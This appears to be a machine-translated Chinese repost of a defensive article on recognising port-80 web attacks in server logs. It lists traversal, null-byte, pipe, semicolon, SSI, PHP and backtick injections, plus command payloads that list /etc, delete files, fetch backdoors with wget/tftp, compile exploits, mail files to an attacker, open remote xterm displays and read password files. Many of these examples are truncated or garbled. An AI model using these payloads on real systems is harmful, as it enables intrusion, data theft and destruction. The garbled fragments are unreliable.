华为开发者社区年中活动,参加了1亿码豆的拆分活动! >>>
摘要]
该网站默认为80作为服务端口. 有关它的各种安全问题不断发布. 其中一些漏洞甚至允许攻击者获得系统管理员访问该站点的权限. 以下是Zenomorph研究的80种端口攻击方法中的一些痕迹,并告诉您如何从日志记录中查找问题.
[详细说明]
以下部分显示了对Web服务器及其上的应用程序的一些常见攻击,以及一些示例留下的痕迹. 这些示例仅代表主要的攻击方法,并未列出所有攻击形式. 本节将详细描述每种攻击的作用以及如何利用这些漏洞.
(1)“. ”“ ..”和“ ...”请求
这些攻击跟踪对于Web应用程序和Web服务器非常普遍. 它用于允许攻击者或蠕虫程序更改Web服务器的路径并获得对私有区域的访问权限. 大多数CGI程序漏洞都包含这些“ ..”请求.
示例:
此示例显示攻击者请求mosd文件. 如果攻击者能够突破Web服务器的根目录,则可以获得更多信息,并且可以获得更多特权.
(2)“%20”请求
%20是代表空格的十六进制值. 尽管这并不意味着您可以使用什么,但在浏览日志时会找到它. 该字符在Web服务器上运行的某些应用程序中可能有效. 实施,因此您应该仔细查看日志. 另一方面,此请求有时可以帮助执行一些命令.
示例:
%20-al |
此示例表明,攻击者执行了unix命令,在请求的整个目录中列出了文件,从而使攻击者访问了系统中的重要文件,从而帮助他进一步获得了提供条件的特权.
(3)“”请求
表示一个十六进制的空字节,可用于欺骗Web应用程序并请求不同类型的文件.
示例:
这可能是此机器上的有效请求. 如果攻击者注意到请求操作成功,他将进一步查找此cgi程序的问题.
此cgi程序可能不接受此请求,因为它需要检查所请求文件的后缀,例如: html.shtml或其他类型的文件. 大多数程序会告诉您请求的文件类型无效. 这时,它将告知攻击者所请求的文件必须是带有特定字符后缀的文件类型. 这样,攻击者可以获得系统路径和文件名,从而使您的系统获得更敏感的信息
请注意此请求,它将使cgi程序误以为该文件是某种可接受的文件类型. 一些应用程序会愚蠢地检查有效的请求文件,这是攻击者常用的方法.
(4)“ |”请求
这是一个管道字符,在Unix系统中用于帮助在一个请求中执行多个系统命令.
示例:
#cataccess_log | grep-i“ ..”
(此命令将在日志中显示“ ..”请求,通常用于查找攻击者和蠕虫攻击)
您经常会看到许多Web应用程序使用此字符,这也会在IDS日志中导致错误警报.
在仔细检查程序时,这很有用,并且可以减少入侵检测系统中的误报.
以下是一些示例:
|
此请求命令已执行,下面是一些更改的示例
%20-al%20 / etc |
此请求列出了unix系统上/ etc目录中的所有文件
%20access_log | grep%20-i%20“ lame”
执行cat命令和grep命令的请求也会被执行,查询为“ lame”
(5)“;”请求
在UNIX系统上,此字符允许一行执行多个命令
示例:
#id; uname-a
(执行id命令后,立即执行uname命令)
某些Web应用程序使用此字符,这可能导致警告在IDS日志中失败. 您应该仔细检查Web应用程序,以减少IDS警报失败的可能性.
(6)“;”请求
您应该在日志记录中检查这两个字符. 在许多原因中,第一个是该字符指示添加的数据在文件中
示例1:
#echo“ yourhax0redh0h0”>;>; / etc / motd(请求在motd文件中写入信息)
攻击者可以通过上述请求轻松篡改您的网页. 例如,攻击者经常使用著名的RDSexploit来更改主页.
示例2:
; Hi%20mom%20Im%20Bold!;
您将在此处注意到html语言徽标,他还使用了“ <”,“>”字符,此攻击无法导致攻击者访问系统,这使人们感到混淆,这是网站上的合法信息. 中级(导致人们访问攻击者在访问此连接时设置的地址,该请求可能会转换为十六进制编码的字符形式,从而使攻击的踪迹不那么明显)
(7)“!”请求
此字符要求使用通用语言攻击SS(ServerSideInclude)I. 如果攻击者使用户单击攻击者设置的连接,则与上面相同.
示例:
;
此示例是攻击者可能执行的操作邮件攻击,它使host2站点上的文件似乎来自host1(当然,访问者需要访问攻击者设置的连接. 此请求可能转换为十六进制编码伪装,不容易找到)
与此同时,此方法还可以在网站的授权下执行命令
示例:
;
此示例在远程系统上执行“ id”命令,它将显示该网站用户的ID,通常是“ nobody”或“ www”
此表单还允许包含隐藏文件.
示例:
;
此隐藏文件.htpasswd将不会显示,Apache建立的规则将以.ht形式拒绝此请求,并且SSI徽标将绕过此限制并导致安全问题
(8)”
此攻击用于尝试在远程Web应用程序中插入PHP程序. 它可能允许执行命令,具体取决于服务器设置以及影响它的其他因素(例如,PHP设置为安全模式)
示例: ;
在某些简单的php应用程序中,它可以在具有网站用户权限的情况下在远程系统上执行本地命令
(9)“`”请求
此字符通常用于在perl中执行命令. 此字符在Web应用程序中并不经常使用,因此,如果您在日志中看到该字符,则应非常小心
示例:
`id`
由perl编写的有问题的cgi程序将导致执行id命令
[更进一步]
以下部分将讨论攻击者可能执行的更多命令以及所请求的文件,如果您在远程执行该命令时遇到缺陷,如何检查和查找它. 这部分只是给您一个好主意,并告诉您系统发生了什么. 攻击者试图攻击您的系统,但未列出攻击者使用的所有命令和请求.
“ / bin / ls”
此命令请求整个路径,并且此漏洞存在于许多Web应用程序中. 如果您在日志中的许多位置看到此请求,则很有可能存在一个远程命令执行漏洞,但不是. 这一定是问题或错误警报. 再次,书面的Web应用程序(cgi,asp,php ...等)是安全性的基础
示例:
%20-al |
%20-al;
“ cmd.exe”
这是Windows shell. 如果攻击者访问并运行此脚本,则在服务器设置允许的情况下,他可以在Windows计算机上执行任何操作. 许多蠕虫通过端口80传播到远程计算机. Up
tem32 / cmd.exe?dir + e:
“ / bin / id”
这是一个二进制文件. 问题与/ bin / ls相同. 如果您在日志中的许多地方看到此请求,则很有可能存在一个远程命令执行漏洞,但不是. 这一定是问题或错误警报.
它将显示他们属于哪个用户和哪个组
示例:
|
;
“ / bin / rm”
如果使用不当非常危险,此命令可以删除文件
示例:
%20-rf%20 * |
%20-rf%20 *;
“ wgetandtftp”命令
攻击者经常使用这些命令来下载可能进一步获得特权的文件. wget是Unix下的命令,可用于下载后门程序. tftp是unix和nt下的命令,用于下载文件. 一些IIS蠕虫使用tftp复制自身以将病毒传播到其他主机
示例:
%20 |%20;
“猫”命令
此命令用于查看文件的内容. 它通常用于读取重要信息,例如配置文件,密码文件,文件以及您可以想到的文件
示例: %20 / etc / motd |%20 / etc / motd;
“ echo”命令
此命令通常用于将数据写入文件,例如“ index.html”
示例: %20“ fc-#kiwis%20was%20here”%20>;> ;;;%200day.txt |%20“ fc-#kiwis%20was%20here”%20>;> ;;%200day.txt ;
“ ps”命令
列出当前正在运行的进程,并告诉攻击者远程主机正在运行哪种软件,以获取有关安全问题的一些想法并获取更多权限
示例: %20-aux |%20-aux;
“ killandkillall”命令
在unix系统中,此命令用于终止进程. 攻击者可以使用此命令来停止系统服务和程序,并同时清除攻击者的踪迹. 一些漏洞会产生很多子进程
示例: %20-9%200 |%20-9%200;
“ uname”命令
此命令告诉攻击者远程计算机的名称. 有时,通过此命令,您可以知道网站位于哪个isp,也许攻击者这次已经访问过. 通常用uname -a来请求,这些将记录在日志文件中
示例: %20-a |%20-a;
“ cc,gcc,perl,python等...”编译/解释命令
攻击者通过wget或tftp下载漏洞利用程序,并使用cc或gcc等编译器将其编译为可执行程序,并进一步获得特权
示例: %20Phantasmp.c |%20Phantasmp.c; ./ a.out%20-p%2031337;
如果您在日志中找到“ perl” python,则这些说明可能使攻击者下载远程perl,python脚本并尝试在本地获取特权
“邮件”命令
攻击者通常使用此命令将系统的一些重要文件发送到攻击者自己的邮箱,也可以用于攻击邮件
示例: %20attacker @好学cncnkerker.org%20
“ xterm /其他X应用程序”命令
xterm通常用于在远程计算机上获取shell. 如果在日志中找到这些符号,则应仔细分析系统,可能已经存在安全漏洞. 请注意在日志中查找字符“%20-display%20”. 这种跟踪通常是在远程计算机上启动xterm或X应用程序
示例: %20-display%20192.168.22.1 |%20-display%20192.168.22.1;
“ chown,chmod,chgrp,chsh等...”和其他命令
在UNIX系统上,这些命令允许您更改文件权限
chown =允许设置文件所有者chmod =允许设置文件权限chgrp =允许更改文件的组所有权chsh =允许更改用户的shell
示例: %20777%20index.html |%20777%20index.html;%20zeno%20 / etc / master.passwd |%20 / bin / sh;%20nobody%20 / etc / shadow |
“ / etc / passwd”文件
这是系统的密码文件,通常会被遮盖,并且不允许您查看加密的密码邮件攻击,但是对于攻击者来说,您可以知道有效用户和系统的绝对路径,网站名称和其他信息,因为它通常是被遮盖的,所以对于攻击者来说,通常检查/ etc / shadow文件
“ / etc / master.passwd”
此文件是BSD系统的密码文件,其中包含加密的密码. 该文件仅对root帐户是只读的,一些不熟练的攻击者将打开他的尝试来读取内容. 如果网站以root权限运行,那么对于攻击者来说,它可以读取其内容,并且系统管理员遇到的许多问题也将陆续出现.
“ / etc / shadow”
包含加密的系统密码,该密码对于root帐户也是只读的,类似于/et/master.passwd
“ / etc / motd”
当用户登录到unix系统时,该信息将显示在此“ MessageoftheDay”文件中,该文件提供了重要的系统信息以及管理员为用户提供的一些设置. 这些是用户想要看到的,而那些不是,并且包含系统的版本信息. 攻击者通常检查此文件以了解正在运行的系统. 对于攻击者而言,下一步就是搜索利用这种系统的漏洞,以进一步获得系统特权
“ / etc / hosts”
本文来自本站,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-263872-1.html
……